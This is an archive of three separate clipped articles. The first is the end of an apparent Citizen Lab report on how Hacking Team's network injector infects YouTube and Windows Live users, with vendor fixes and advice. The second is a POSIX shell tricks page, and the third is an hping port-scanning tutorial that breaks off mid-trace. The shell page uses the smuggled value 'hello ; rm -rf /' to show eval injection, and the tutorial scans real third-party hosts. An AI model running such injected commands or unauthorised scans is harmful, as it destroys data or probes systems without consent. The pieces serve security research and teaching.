As described in the Citizen Lab report Police Story: Hacking Team’s Government
Surveillance Malware, material was provided to the Citizen Lab which appears
to document the operation of several Hacking Team products. As stated
previously, we have no knowledge as to the origin of the documents, and
whoever sent them took steps to conceal their identity. While **the
authenticity of these documents is unverified** , we have not identified
inconsistencies with what is currently known about Hacking Team RCS.

The Hacking Team Network Injector monitors all HTTP connections and, following
the injection rules, identifies the target’s connections and injects the agent
into the connections, linking it to the resources the target is downloading
from the Internet.

Below is a screenshot from Hacking Team’s network injection appliance.

<img src='img/Temp2_7254.png' width='611' height='269' alt='Image Source:
“Hacking Team, RCS 9: The hacking suite for governmental interception, System
Administrator’s Guide,” 2013' />

Figure 15: Image Source: “Hacking Team, RCS 9: The hacking suite for
governmental interception, System Administrator’s Guide,” 2013

Network Injectors allow for automatic identification of target devices and
infect them according to the rules set via their control software. As shown
above, the appliance exploits YouTube users by injecting malicious HTML-FLASH
into the video stream. From the description of the rule targets below, this
appears to be a custom payload designed for YouTube.

<img src='img/Temp2_7249.png' width='529' height='418' alt='Image Source:
“Hacking Team, RCS 9: The hacking suite for governmental interception, System
Administrator’s Guide,” 2013' />

Figure 16: Image Source: “Hacking Team, RCS 9: The hacking suite for
governmental interception, System Administrator’s Guide,” 2013

While this infection method requires user interaction to accept the fake Flash
update, it is also possible to bundle the payload with an exploit in order to
silently install the surveillance agent.

To provide an example of how a deployment of a tactical surveillance implant
would work using a system like this, we refer you to the illustration below
\(click to enlarge\):

<img src='img/Temp2_7252.png' width='609' height='395' alt='A diagram
explaining the exploitation of YouTube Users [Illustration by Willow Brugh]'
/>

Figure 17: A diagram explaining the exploitation of YouTube Users
\[Illustration by Willow Brugh\]

In this diagram, the user \(watching a cute cat video\) is represented by the
laptop, and YouTube is represented by the server farm full of digital cats.
You can observe our attacker using a network injection appliance and
subverting the beloved pastime of watching cute animal videos on YouTube.

A step-by-step breakdown of how such an attack might occur is as follows:

  1. A target is selected and their name is entered into the Network Injection GUI.
  2. The target’s traffic stream is located based on their ISP’s RADIUS records.
  3. As per the rule on the network injector \(as shown in Figure 14\), the appliance waits for the target to visit YouTube.
  4. When this traffic is identified, it is redirected to the network injection appliance.
  5. The legitimate video is blocked and malicious flash \(SWF\) is injected into the clear-text portion of the traffic. \(Represented by the kitty skull and cross bones.\)
  6. The target is presented with a dialogue to upgrade their flash installation. If this upgrade is accepted the malicious SWF enables the installation of a ‘scout agent’ which provides target validation.
  7. If the target is assessed as correct \(i.e., the desired person\), and safe for install \(not a malware analysis honeypot\), then the full agent is deployed.
  8. Surveillance of the target commences.

<img src='img/Temp2_7256.png' width='609' height='377' alt='Google issue
tracker for unencrypted YouTube streaming. Marked as “WontFix”' />

Figure 18: Google issue tracker for unencrypted YouTube streaming. Marked as
“WontFix”

After being alerted by the author of this post to the sale of devices to
exploit YouTube users, a representative at Google stated on July 22nd, 2014
that they were accelerating two changes. All users using an extension like
HTTPS Everywhere will now receive the full page and video stream over TLS.
Additionally, a roll-out of full-TLS YouTube is being carried out for all
users, independent of login state.

### Microsoft Clear-Text Login

Windows Live presents another attack surface used by Hacking Team’s network
injection appliance. Unlike some other free webmail providers, some elements
of the login page are provided to the user in clear-text, making them
observable to a network adversary and consequently easy to tamper with.

As shown in Figure 14 above, a network injection rule exists for the login
service for Microsoft’s live.com website. When a target loads the
login.live.com website, the INJECT-HTML-JAVA payload is deployed. This payload
alerts the user of an update to java and installs the RCS agent. It is
additionally possible to use an exploit for silent installation.

<img src='img/Temp2_7258.png' width='609' height='344' alt='Login page for
Microsoft’s Live service being served over HTTP' />

Figure 19: Login page for Microsoft’s Live service being served over HTTP

As discussed previously, this type of injection can occur since it is possible
to load this page over HTTP.

We alerted Microsoft to this issue and on August 6th, they pushed out a hotfix
to automatically force all users to use https://login.live.com.

### Mitigation and Prevention Measures

#### Clear-text is dead

Thus far we have provided two examples of commercial tools that have widely
proliferated and that enable purchasers \(for a fee\) to exploit clear-text
traffic in some of the most popular sites on the web.

In order for network injection appliances to function, they rely on the fact
that popular websites will not encrypt all of their traffic. In order to
mitigate these types of attacks, we suggest that providers serve all content
over TLS, and provide end-to-end encryption wherever possible. The use of HSTS
and certificate pinning is also strongly recommended.

Historically, it has been considered expensive to run cryptography for major
services. This has helped delay the widespread adoption of encryption
especially for websites that provide a free service to a large number of
users. This is no longer the justification that it once was. In a recent
presentation at IETF 90 on HTTP/2, Google’s Adam Langley said: “Clear-text is
no longer reasonable.”

For the average user, no complete solutions to this problem currently exist.
The Electronic Frontier Foundation’s HTTPS Everywhere has been a good start
toward allowing users to request that companies serve them data in an
encrypted manner. Even while using this plugin, however, data can still be
delivered to the user without HTTPS, including sites where some data is
encrypted. There is a plugin currently available, HTTP Nowhere, which claims
to allow only encrypted traffic; however, as currently implemented, it might
break the functionality of popular websites. Enabling this feature is an
entertaining illustration of how much the user experience of web browsing is
still dependent on unencrypted data.

As always, it would be wise to avoid downloading programs from sites that do
not use HTTPS and be extremely cautious about sites that prompt you to
unexpectedly install software.

## Conclusion

The proliferation of tools for both tactical and on network injection attacks
highlights a vulnerability that has existed since the beginning of the
consumer Internet. Until recently, however, it has been challenging to gauge
the practical viability of this attack and the number of actors that might
have this capability. Hacking Team and FinFisher are probably not unique in
packaging and selling these techniques. In terms of surveillance vendors that
provide such technology, it seems likely that this is but glimpse into a
larger market.

Currently, those residing in or traveling to countries where we and others
have identified the presence of these tools have few options for protecting
themselves beyond the use of private networks such as VPNs.

This report is not the first to highlight the problem. It is, however, no
longer the case that cryptography is so resource intensive that this problem
cannot be solved. What is required is a recognition on the part of content and
service providers that this falls within the scope of their responsibility to
provide secure service to their users. In response to this research, Google
and Microsoft have already made statements indicating they are working on the
problem. We hope that other providers will take their cues from this and
undertake similar measures.

## Acknowledgements

I would like to thank my colleagues at Citizen Lab for their invaluable
assistance with this report. Especially: John Scott-Railton, Sarah McKune,
Masashi Nishihata, Adam Senft, and Ron Deibert. Also, Bill Marczak and Claudio
Guarnieri for their work in this area over the last two years.

A very special thank you to Willow Brugh for her illustrative skills.

Additionally, I’d like to thank Katie Moussouris and Heather Adkins for
support, and the members of the Google Security team and the MSRC for their
responsiveness.

My gratitude to the Electronic Frontier Foundation and Privacy International.

## Footnotes

1 http://government-contractors.findthebest.com/l/160067/Cloudshield-
Technologies-Inc-in-Sunnyvale-CA  
2 Detailed later in this report.  
3 This assumes fully functioning encryption. Obviously there are potential
protocol attacks or algorithm attacks which may allow for decryption of
traffic.  
4 Such as the version of FinFly ISP documented in 2011 by Wikileaks in ‘The
Spy Files’ https://wikileaks.org/spyfiles/docs/gamma/309\_remote-monitoring-
and-infection-solutions-finfly-isp.html  
5 The open-source penetration-testing tool Evil-Grade was a proof-of-concept
tool which used this technique http://www.infobyte.com.ar/down/isr-evilgrade-
Readme.txt  
6 http://www.zdnet.com/top-govt-spyware-company-hacked-gammas-finfisher-
leaked-7000032399/  
7 https://twitter.com/GammaGroupPR/status/497086972864000000  
8 Hacking Team, RCS 9: The hacking suite for governmental interception, System
Administrator’s Guide,” 2013

# Rich’s sh \(POSIX shell\) tricks

**Created:**| _2/15/2011 8:02:45 AM_  
---|---  
**Updated:**| _2/15/2011 8:03:21 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu snipplets_  
  

# Rich’s sh \(POSIX shell\) tricks

This page is meant as a repository for useful tricks I’ve found \(and some
I’ve perhaps invented\) for scripting the POSIX shell \(with some attention to
portability to non-conformant shells as well, scattered here and there\). I am
a strong believer that Bourne-derived languages are extremely bad, on the same
order of badness as Perl, for programming, and consider programming sh for any
purpose other than as a super-portable, lowest-common-denominator platform for
build or bootstrap scripts and the like, as an extremely misguided endeavor.
As such you won’t see me spending many words on extensions particular to ksh,
Bash, or whatever other shells may be popular.

## Printing the value of a variable

[code]

    printf %s\\n "$var"
    
[/code]

The “\\\n” may be omitted if a following newline is not desired. The quotation
marks are essential. The following is **NOT** a valid substitute:

[code]

    echo "$var"
    
[/code]

**NEVER** use echo like this. According to POSIX, echo has unspecified
behavior if any of its arguments contain “\” or if its first argument is “-n”.
Unix™ standards fill in this unspecified area for XSI-conformant
implementations, by specifying nasty undesirable behavior that no one wants
\(“\” is interpreted as a C-string-literal style escape\), and other popular
implementations such as Bash interpret argument values other than “-n” as
special options even when in “POSIX compatibility” mode, rendering then
nonconformant. The jist of this is:

| Output  
---|---  
Command | POSIX | Unix | Bash  
echo "-e" | “-e  
” | “-e  
” | “  
”  
echo "\\\n" | _unspecified_ | “  
  
” | “\n  
”  
echo -n hello | _unspecified_ | “hello” | “hello”  
echo -ne hello | “-ne hello  
” | “-ne hello  
” | “hello”  
These issues mean `echo "$var"` can sting you whenever you do not have strict
guarantees about the contents of `var` \(for example that it contains a
nonnegative integer\). Even if you’re a GNU/Linux-centric jerk who thinks all
the world is a Bash and you don’t care about portability, you’ll run into
trouble someday when you happen to read a “-n” or “-e” or “-neEenenEene” into
`var` and suddenly your script breaks.

If you’re really attached to the name “echo” and want to use it in your
scripts, try this function which ‘repairs’ echo to behave in a reasonable way
\(pretty much like the Bash echo command, but with the added stipulation that
the last argument will never be interpreted as an option, so that `echo
"$var"` is safe even when `var`’s contents look like an option\):

[code]

    echo () (
    fmt=%s end=\\n IFS=" "
    
    while [ $# -gt 1 ] ; do
    case "$1" in
    [!-]*|-*[!ne]*) break ;;
    *ne*|*en*) fmt=%b end= ;;
    *n*) end= ;;
    *e*) fmt=%b ;;
    esac
    shift
    done
    
    printf "$fmt$end" "$*"
    )
    
[/code]

Dropping this code in at the top of your script will likely fix all the subtle
bugs due to the utter brain damage of the standard echo command. Or, if you
think the whole idea of echo having options is preposterous, try this simpler
version \(use of “$\*” instead of “$@” is very intentional here\):

[code]

    echo () { printf %s\\n "$*" ; }
    
[/code]

You never imagined printing the value of a variable could be so difficult, eh?
Now you see why I say Bourne-derivative languages should never be used for
serious programming...

## Reading input line-by-line

[code]

    IFS= read -r var
    
[/code]

This command reads a line of input, terminated by a newline or end of file or
error condition, from stdin and stores the result in var. Exit status will be
0 \(success\) if a newline is reached, and nonzero \(failure\) if a read error
or end of file terminates the line. Robust scripts may wish to distinguish
between these cases. According to my reading of POSIX, the contents of var
should be filled with the data read even if an error or premature end of file
terminates the read, but I am uncertain whether all implementations behave as
such and whether it is strictly required. Comments from experts are welcome.

One common pitfall is trying to read output piped from commands, such as:

[code]

    foo | IFS= read var
    
[/code]

POSIX allows any or all commands in a pipeline to be run in subshells, and
which command \(if any\) runs in the main shell varies greatly between
implementations — in particular Bash and ksh differ here. The standard idiom
for overcoming this problem is to use a here document:

[code]

    IFS= read var << EOF
    $(foo)
    EOF
    
[/code]

## Reading input byte-by-byte

[code]

    read dummy oct << EOF
    $(dd bs=1 count=1|od -b)
    EOF
    
[/code]

This command leaves the octal value of a byte of input in the variable oct.
Note that dd is the only standard command which can safely read exactly one
byte of input with a guarantee that no additional bytes will be buffered and
lost. Aside from failing to be portable, `head -c 1` may be implemented using
C stdio functions with buffering.

Conversion to some escaped format \(in this case octal\) is necessary because
the read command deals with text files. It cannot handle arbitrary bytes; in
particular there is no way to store a NUL byte in a shell variable. Other
issues with non-ASCII bytes may exist as well depending on your implementation
and your locale. It’s possible to modify this code to read several bytes at a
time, but take care to account for all the various bad behavior of the od
program such as condensing long runs of zeros.

Conversion of the octal back to binary data can be accomplished via the next
sh trick.

## Writing bytes to stdout by numeric value

[code]

    writebytes () { printf %b `printf \\\\%03o "$@"` ; }
    writebytes 65 66 67 10
    
[/code]

This function allows specification of byte values in base 8, 10, or 16. Octal
and hex values must be prefixed with 0 or 0x, respectively. If you want the
arguments to always be treated as octal, for example when processing values
read by the previous trick for reading binary data, try this version:

[code]

    writeoct () { printf %b `printf \\\\%s "$@"` ; }
    
[/code]

Be aware that it will break if your octal values are larger than 3 digits, so
don’t prepend a leading 0. The following version is much slower but avoids
that problem:

[code]

    writeoct2 () { printf %b $(printf \\%03o $(printf 0%s\  "$@")) ; }
    
[/code]

## Using find with xargs

GNU fans are accustomed to using the -print0 and -0 options to find and xargs,
respectively, for robust and efficient application of a command to all results
of the find command. Without GNU extensions, the output of find is newline-
delimited, meaning there is no way to recover the actual pathnames found if
some of the pathnames contain embedded newlines.

If you don’t mind having your script break when pathnames contain newlines, at
least make sure that the misprocessing that will result cannot lead to a
compromise of privilege, and then try the following:

[code]

    find ... | sed 's/./\\&/g' | xargs _command_
    
[/code]

The sed command here is mandatory. Contrary to popular belief \(well, it was
popular enough that I mistakenly believed it for a long time\), xargs does NOT
accept newline-delimited lists. Rather it accepts shell-quoted lists, i.e. the
input list is separated by whitespace and all internal whitespace must be
quoted. The above command simply quotes all characters with backslashes to
satisfy this requirement, protecting embedded whitespace in filenames.

## Using find with +

Of course the much smarter way to use find to efficiently apply commands to
files is with -exec and a “+” replacing the “;”:

[code]

    find _path_ -exec _command_ '{}' +
    
[/code]

This causes find to place as many filenames as will fit on the command line in
place of the “\{\}”, each as its own argument. There is no issue with embedded
newlines being misinterpreted. Sadly, despite its presence in POSIX for a long
time, the popular GNU implementation of find did not support “+” for the
longest time, and so its use is rather unportable in practice. A reasonable
workaround would be to write a test for support of “+”, and use “;” in place
of “+” \(with the naturally severe loss in efficiency\) on broken systems
where find is nonconformant.

Here is a command which must succeed on any POSIX conformant system but which
will fail if find lacks support for “+” due to a missing “;” argument:

[code]

    find /dev/null -exec true '{}' +
    
[/code]

This takes advantage of the fact that “/dev/null” is one of the only three
non-directory absolute pathnames guaranteed by POSIX to exist.

## Portable version of find -print0

[code]

    find _path_ -exec printf %s\\0 '{}' +
    
[/code]

Portability is subject to the above notes on GNU find’s lack of support for
“+” until recent versions, so it’s probably a good idea to fallback to using
“;” instead of “+” if necessary.

Note that this trick is probably useless, since the output is not a text file.
Nothing but GNU xargs should be expected to parse it.

## Using the output of find -print robustly

Despite the embedded-newline field-separator-emulation issue of `find`, it is
possible to parse the output robustly. Just remember, “slash dot saves the
day.” For each absolute path being searched, prefix the initial “/” with “/.”,
and likewise prefix each relative path to be searched with “././” — the string
“/./” then becomes a magic synchronization marker for determining if a newline
was produced as a field separator or due to embedded newlines in a pathname.

Processing the output is left as an exercise for the reader.

## Getting non-clobbered output from command substitution

The following is not safe:

[code]

    var=$(dirname "$f")
    
[/code]

Due to most commands writing a newline at the end of their output, Bourne-
style command substitution was designed to strip training newlines from the
output. But it doesn’t just strip one trailing newline; it strips them all. In
the above command, if `f` contains any trailing newlines in the last directory
component, they will be stripped, yielding a different directory name. While
no one sane would put newlines in directory names, such corruption of the
results could lead to expoitable vulnerabilities in scripts.

The solution to this problem is very simple: add a safety character after the
last newline, then use the shell’s parameter substitution to remove the safety
character:

[code]

    var=$(_command_ ; echo x) ; var=${var%?}
    
[/code]

In the case of the dirname command, one also wants to remove the single final
newline added by dirname, i.e.

[code]

    var=$(dirname "$f" ; echo x) ; var=${var%??}
    
[/code]

Of course there is an easier way to get the directory part of a pathname,
provided you don’t care about some of the odd corner-case semantics of the
dirname command:

[code]

    var=${f%/*}
    
[/code]

This will fail for files in the root directory, among other corner cases, so a
good approach would be to write a shell function to consider such special
cases. Note, however, that such a function must somehow store its results in a
variable. If it printed them to stdout, as is common practice when writing
shell functions to process strings, we would run into the issue of “$\(...\)”
stripping trailing newlines once again and be back where we started...

## Returning strings from a shell function

As can be seen from the above pitfall of command substitution, stdout is not a
good avenue for shell functions to return strings to their caller, unless the
output is in a format where trailing newlines are insignificant. Certainly
such practice is not acceptable for functions meant to deal with arbitrary
strings. So, what can be done?

Try this:

[code]

    func () {
    _body here_
    eval "$1=\${foo}"
    }
    
[/code]

Of course `${foo}` could be replaced by any sort of substitution. The key
trick here is the eval line and the use of escaping. The “$1” is expanded when
the argument to eval is constructed by the main command parser. But the
“$\{foo\}” is not expanded at this stage, because the “$” has been quoted.
Instead, it’s expanded when eval evaluates its argument. If it’s not clear why
this is important, consider how the following would be bad:

[code]

    foo='hello ; rm -rf /'
    dest=bar
    eval "$dest=$foo"
    
[/code]

But of course the following version is perfectly safe:

[code]

    foo='hello ; rm -rf /'
    dest=bar
    eval "$dest=\$foo"
    
[/code]

Note that in the original example, “$1” was used to allow the caller to pass
the destination variable name as an argument the function. If your function
needs to use the shift command, for instance to handle the remaining arguments
as “$@”, then it may be useful to save the value of “$1” in a temporary
variable at the beginning of the function.

## Shell-quoting arbitrary strings

Sometimes it’s necessary to put a string in a shell-quoted form, for instance
if it needs to be expanded into a command that will be evaluated with eval,
written into a generated script, or similar. There are several methods, but
many of them fail if the string contains newlines. Here is a version that
works:

[code]

    quote () { printf %s\\n "$1" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/'/" ; }
    
[/code]

This function simply replaces every instance of «'» \(single quote\) within
the string with «'\''» \(single quote, backslash, single quote, single
quote\), then puts single quotes at the beginning and end of the string. Since
the only character whose meaning is special within single quotes is the single
quote character itself, this is totally safe. Trailing newlines are handled
correctly, and the single quote at the end doubles as a safety character to
prevent command substitution from clobbering the trailing newlines, should one
want to do something like:

[code]

    quoted=$(quote "$var")
    
[/code]

## Working with arrays

Unlike “enhanced” Bourne shells such as Bash, the POSIX shell does not have
array types. However, with a bit of inefficiency, you can get array-like
semantics in a pinch using pure POSIX sh. The trick is that you do have one
\(and only one\) array — the positional parameters “$1”, “$2”, etc. — and you
can swap things in and out of this array.

Replacing the contents of the “$@” array is easy:

[code]

    set -- foo bar baz boo
    
[/code]

Or, perhaps more usefully:

[code]

    set -- *
    
[/code]

What’s not clear is how to save the current contents of “$@” so you can get it
back after replacing it, and how to programmatically generate these ‘arrays’.
Try this function based on the previous trick with quoting:

[code]

    save () {
    for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
    echo " "
    }
    
[/code]

Usage is something like:

[code]

    myarray=$(save "$@")
    set -- foo bar baz boo
    eval "set -- $myarray"
    
[/code]

Here, the quoting has prepared “$array” for use with the eval command, to
restore the positional parameters. Other possibilities such as `myarray=$(save
*)` are also possible, as well as programmatic generation of values for the
‘array’ variable.

One could also generate an ‘array’ variable from the output of the find
command, either using a cleverly constructed command with the -exec option or
ignoring the possibility of newlines in pathnames and using the sed command
for prepping find’s results for xargs.

[code]

    findarray () {
    find "$@" -exec sh -c "for i do printf %s\\\\n \"\$i\" \\
    | sed \"s/'/'\\\\\\\\''/g;1s/^/'/;\\\$s/\\\$/' \\\\\\\\/\"
    done" dummy '{}' +
    }
    
[/code]

Such a script allows things like:

[code]

    old=$(save "$@")
    eval "set -- $(findarray _path_)"
    for i do _command_ "$i" ; done
    eval "set -- $old"
    
[/code]

Note that this duplicates the intended functionality of the horribly-incorrect
but often-cited “`for i in `find ...` ; do ...`” construct.

## Does a given string match a given filename \(glob\) pattern?

[code]

    fnmatch () { case "$2" in $1) return 0 ;; *) return 1 ;; esac ; }
    
[/code]

Now you can do things like:

[code]

    if fnmatch 'a??*' "$var" ; then ... ; fi
    
[/code]

So much for needing Bash’s “\[\[” command...

## Counting occurrances of a character

[code]

    tr -dc 'a' | wc -c
    
[/code]

This will count the number of occurrances of the character “a”, by deleting
all other characters. However, it’s not clear what `tr -dc` does when
encountering noncharacter bytes in the input; POSIX is unclear on this matter
and implementations likely differ. Foundational logicians will appreciate this
as a practical real-world difficulty in working with set complements and the
universal set.

Instead, try the following:

[code]

    tr a\\n \\na | wc -l
    
[/code]

The `wc -l` command counts the number of newline characters seen, so using
`tr` to swap occurrances of “a” with newlines allows `tr` to count “a”s
instead.

## Overriding locale categories

The following does not necessarily work as intended:

[code]

    LC_COLLATE=C ls
    
[/code]

This is because LC\_ALL may be present in the environment, overriding any of
the category-specific variables. Unsetting LC\_ALL also provides incorrect
behavior, in that it possibly changes all of the categories. Instead try:

[code]

    eval export `locale` ; unset LC_ALL
    
[/code]

This command explicitly sets all category-specific locale variables according
to the implicit values they receive, whether from LANG, the category variable
itself, or LC\_ALL. Your script may subsequently override individual
categories using commands like the one at the top of this section.

Keep in mind that the only values a portable script can set the locale
variables to is “C” \(or its alias “POSIX”\), and that this locale does not
necessarily have all the properties with which the GNU implementation instills
it. Things you can assume in the “C” locale \(with the relevant category in
parentheses\):

  * Ranges like \[a-z\] work in glob patterns and regular expressions, and are based on ASCII codepoint ordering, not natural-language collation nor bogus ASCII-incompatible character sets’ \(e.g. EBCDIC\) ordering. This also applies to character ranges for the `tr` command. \(LC\_COLLATE\)
  * The `sort` command sorts based on ASCII codepoint order \(LC\_COLLATE\).
  * Case mapping for “I”/“i” is sane, no Turkish mess \(LC\_CTYPE\).
  * Dates are printed in the standard traditional Unix ways. \(LC\_TIME\)

And things which you cannot assume or which may be “more broken” in the “C”
locale than whatever the existing locale was:

  * Bytes outside the “portable character set” \(ASCII\) are not necessarily characters. Depending on the implementation they may be noncharacter bytes, treated as ISO Latin-1 characters, treated as some sort of abstract characters without properties, or even treated as constituent bytes of UTF-8 characters. This affects whether \(and if so, how\) they can be matched in globs and regular expressions. \(LC\_CTYPE\)
  * If LC\_CTYPE is changed, other locale categories whose data depends on the character encoding \(for instance, LC\_TIME month names, LC\_MESSAGES strings, LC\_COLLATE collation elements, etc.\) have undefined behavior. \(LC\_CTYPE\)
  * It is unclear whether POSIX specifies this or not, but the GNU C library’s regular expression engine historically crashes if LC\_COLLATE is set to “C” and non-ASCII characters appear in a range expression.

As such, it’s sometimes safe to replace individual categories such as
LC\_COLLATE or LC\_TIME with “C” to obtain predictable output, but replacing
LC\_CTYPE is not safe unless you replace LC\_ALL. Replacing LC\_CTYPE may on
rare occasion be desired to inhibit odd and dangerous case mappings, but in a
worst case scenario it could entirely prevent access to all files whose names
contain non-ASCII characters. This is one area where there is no easy
solution.

## Removing all exports

[code]

    unexport_all () {
    eval set -- `export -p`
    for i do case "$i" in
    *=*) unset ${i%%=*} ; eval "${i%%=*}=\${i#*=}" ;;
    esac ; done
    }
    
[/code]

## Using globs to match dotfiles

[code]

    .[!.]* ..?*
    
[/code]

The first of these two globs matches all filenames beginning with a dot,
followed by any character other than a dot. The second matches all filenames
beginning with two dots and at least one other character. Between the two of
them, they match all filenames beginning with dot except for “.” and “..”
which have their obvious special meanings.

Keep in mind that if a glob does not match any filenames, it will remain as a
single unexpanded word rather than disappearing entirely from the command. You
may need to account for this by testing for existence of matches or
ignoring/hiding errors.

## Determining if a directory is empty

[code]

    is_empty () (
    cd "$1"
    set -- .[!.]* ; test -f "$1" && return 1
    set -- ..?* ; test -f "$1" && return 1
    set -- * ; test -f "$1" && return 1
    return 0 )
    
[/code]

This code uses the magic 3 globs which are needed to match all possible names
except “.” and “..”, and also handles the cases where the glob matches a
literal name identical to the glob string.

If you don’t care about preserving permissions, a simpler implementation is:

[code]

    is_empty () { rmdir "$1" && mkdir "$1" ; }
    
[/code]

Naturally both of the approaches have race conditions if the directory is
writable by other users or if other processes may be modifying it. Thus, an
approach like the latter but with a properly restrictive umask in effect may
actually be preferable, as its result has the correct atomicity properties:

[code]

    is_empty_2 () ( umask 077 ; rmdir "$1" && mkdir "$1" )
    
[/code]

## Querying a given user's home directory

This does not work:

[code]

    foo=~$user
    
[/code]

Instead, try:

[code]

    eval "foo=~$user"
    
[/code]

Be sure the contents of the variable user are safe; otherwise very bad things
could happen. It’s possible to make this into a function:

[code]

    her_homedir () { eval "$1=~$2" ; }
    her_homedir foo alice
    
[/code]

The variable `foo` will then contain the results of tilde-expanding `~alice`.

## Recursive directory processing without find

Since `find` is difficult or impossible to use robustly, why not write the
recursion in shell script instead? Unfortunately I have not worked out a way
to do this that does not require one level of subshell nesting per directory
tree level, but here’s a shot at it with subshells:

[code]

    myfind () (
    cd -P -- "$1"
    [ $# -lt 3 ] || [ "$PWD" = "$3" ] || exit 1
    for i in ..?* .[!.]* * ; do
    [ -e "$i" ] && eval "$2 \"\$i\""
    [ -d "$i" ] && myfind "$i" "$2" "${PWD%/}/$i"
    done
    )
    
[/code]

Usage is then something like:

[code]

    handler () { case "$1" in *~) [ -f "$1" ] && rm -f "$1" ;; esac ; }
    myfind /tmp handler   # Remove all backup files found in /tmp
    
[/code]

For each file in the recursive traversal of “$1”, a function or command “$2”
will be evaluated with the directory containing the file as the present
working directory and with the filename appended to the end of the command
line. The third positional parameter “$3” is used internally in the recursion
to protect against symlink traversal; it contains the expected physical
pathname PWD should contain after the `cd -P "$1"` command completes provided
“$1” is not a symbolic link.

## Seconds since the epoch

Sadly, the GNU `%s` format for `date` is not portable. So instead of:

[code]

    secs=`date +%s`
    
[/code]

Try the following:

[code]

    secs=$((`TZ=GMT0 date \
    +"((%Y-1600)*365+(%Y-1600)/4-(%Y-1600)/100+(%Y-1600)/400+%j-135140)\
    *86400+%H*3600+%M*60+%S"`))
    
[/code]

The only magic number in here is 135140, the number of days between 1600-01-01
and 1970-01-01 treating both as Gregorian dates. 1600 is used as the multiple-
of-400 epoch here instead of 2000 since C-style division behaves badly with
negative dividends.

## Final remarks

Expect this page of tricks to grow over time as I think of more things to add.
It is my hope that these tricks serve to show that is IS possible to write
correct, robust programs using the plain POSIX shell, despite common pitfalls,
but also that the lengths needed to do so are often extremely perverse and
inefficient. If seeing the above hacks has inspired anyone to write a program
in a real language rather than sh/Bash/whatever, or to fix corner case bugs
arising from the badness of the shell language, I will be happy. Please direct
comments, flames, suggestions for more tricks to include, and so forth to
“dalias” on Freenode IRC.

# hping | research | sprawl
**Created:**| _4/25/2014 4:29:41 PM_  
---|---  
**Updated:**| _4/25/2014 4:29:41 PM_  
**Author:**| __  
**Tags:**| _security tools_  
  

# Port Scanning

hping gives you complete freedom to craft any raw IP, TCP, UDP, and ICMP
packets.

With such powerful capability we can proceed to replicate most of the standard
scan types:

## TCP SYN Scan

The simplest way to initiate a classic TCP SYN Scan is to use the following
command line options:

[code]

    hping3 -S 72.14.207.99 -p 80 -c 1
    
[/code]

NOTE: I had to use -c 1 flag in order to send the SYN packet only once,
otherwise hping will continue sending probes.

This will produce the following output:

[code]

    HPING 72.14.207.99 (eth1 72.14.207.99): S set, 40 headers + 0 data bytes
    len=46 ip=72.14.207.99 ttl=244 id=64932 sport=80 flags=SA seq=0 win=8190 rtt=266.4 ms
    
    --- 72.14.207.99 hping statistic ---
    1 packets transmitted, 1 packets received, 0% packet loss
    round-trip min/avg/max = 266.4/266.4/266.4 ms
    
[/code]

This will scan port 80 on Google. As we can see from the output returned
packet from Google contains SYN and ACK flags set which indicates an open
port.

In order to scan a range of ports starting from port 80 and up use the
following command line:

[code]

    hping3 -S 4.2.2.1 -p ++50
    
[/code]

The ++ prefix will increment port number each subsequent packet sent to the
target.

[code]

    HPING 4.2.2.1 (eth1 4.2.2.1): S set, 40 headers + 0 data bytes
    len=46 ip=4.2.2.1 ttl=56 DF id=32839 sport=50 flags=RA seq=0 win=0 rtt=264.3 ms
    len=46 ip=4.2.2.1 ttl=56 DF id=32840 sport=51 flags=RA seq=1 win=0 rtt=277.6 ms
    len=46 ip=4.2.2.1 ttl=56 DF id=32841 sport=52 flags=RA seq=2 win=0 rtt=285.4 ms
    len=46 ip=4.2.2.1 ttl=56 DF id=32842 sport=53 flags=SA seq=3 win=49312 rtt=270.7 ms
    len=46 ip=4.2.2.1 ttl=56 DF id=32843 sport=54 flags=RA seq=4 win=0 rtt=225.1 ms
    len=46 ip=4.2.2.1 ttl=56 DF id=32844 sport=55 flags=RA seq=5 win=0 rtt=202.6 ms
    len=46 ip=4.2.2.1 ttl=56 DF id=32845 sport=56 flags=RA seq=6 win=0 rtt=196.7 ms
    
    --- 4.2.2.1 hping statistic ---
    7 packets transmitted, 7 packets received, 0% packet loss
    round-trip min/avg/max = 196.7/246.1/285.4 ms
    
[/code]

From the output above we can see that the majority of probes returned RST
packets indicating that all of these ports are closed. Only probe directed at
port 53 returned SYN ACK thus suggesting an open port.

While this method is acceptable for a short range of ports, looking through
thousands of responses is hard. The simplest solution to this problem is to
use _grep_ to only display interesting responses:

[code]

    hping3 -S 4.2.2.1 -p ++50 | grep SA
    
[/code]

However, you will quickly discover that using hping in such a way is
cumbersome. With this in mind new scanning facilities were implemented which
are called with _-8_ or _\--scan_ flags:

[code]

    hping3 -8 50-56 -S 4.2.2.1
    
[/code]

With the scan flag we have a much more flexible way to specify ports. For
example, we can use comma separated values 50-56,80 special keywords _known_
and _all_ , and even negation 50,56,\!known. As for the scan above, it
produces the following output:

[code]

    Scanning 4.2.2.1 (4.2.2.1), port 50-56
    7 ports to scan, use -V to see all the replies
    +----+-----------+---------+---+-----+-----+
    |port| serv name |  flags  |ttl| id  | win |
    +----+-----------+---------+---+-----+-----+
       53 domain     : .S..A...  56 31099 49312
    All replies received. Done.
    Not responding ports:
    
[/code]

While the scanning mode of hping is very convenient, it does produce some
packets useful for information collection but not for simple port discovery.
Here is a packet trace for the above scan just for port 53:

[code]

    # hping sends three SYN probes at once to target host
    0.000000 192.168.1.100 -> 4.2.2.1      TCP 2268 > domain [SYN] Seq=0 Len=0
    0.002677 192.168.1.100 -> 4.2.2.1      TCP 2268 > domain [SYN] Seq=2573678699 Len=0
    0.004275 192.168.1.100 -> 4.2.2.1      TCP 2268 > domain [SYN] Seq=4285036453 Len=0
    # target responds once saying that it is open
    0.336498      4.2.2.1 -> 192.168.1.100 TCP domain > 2268 [SYN, ACK] Seq=3335179574 Ack=1 Win=49312 Len=0 MSS=1460
    0.336528 192.168.1.100 -> 4.2.2.1      TCP 2268 > domain [RST] Seq=1 Len=0
    # target responds again to the same probe
    0.338791      4.2.2.1 -> 192.168.1.100 TCP [TCP Dup ACK 4#1] domain > 2268 [ACK] Seq=3335179575 Ack=1 Win=49312 Len=0
    0.338809 192.168.1.100 -> 4.2.2.1      TCP 2268 > domain [RST] Seq=1 Len=0
    # and again...
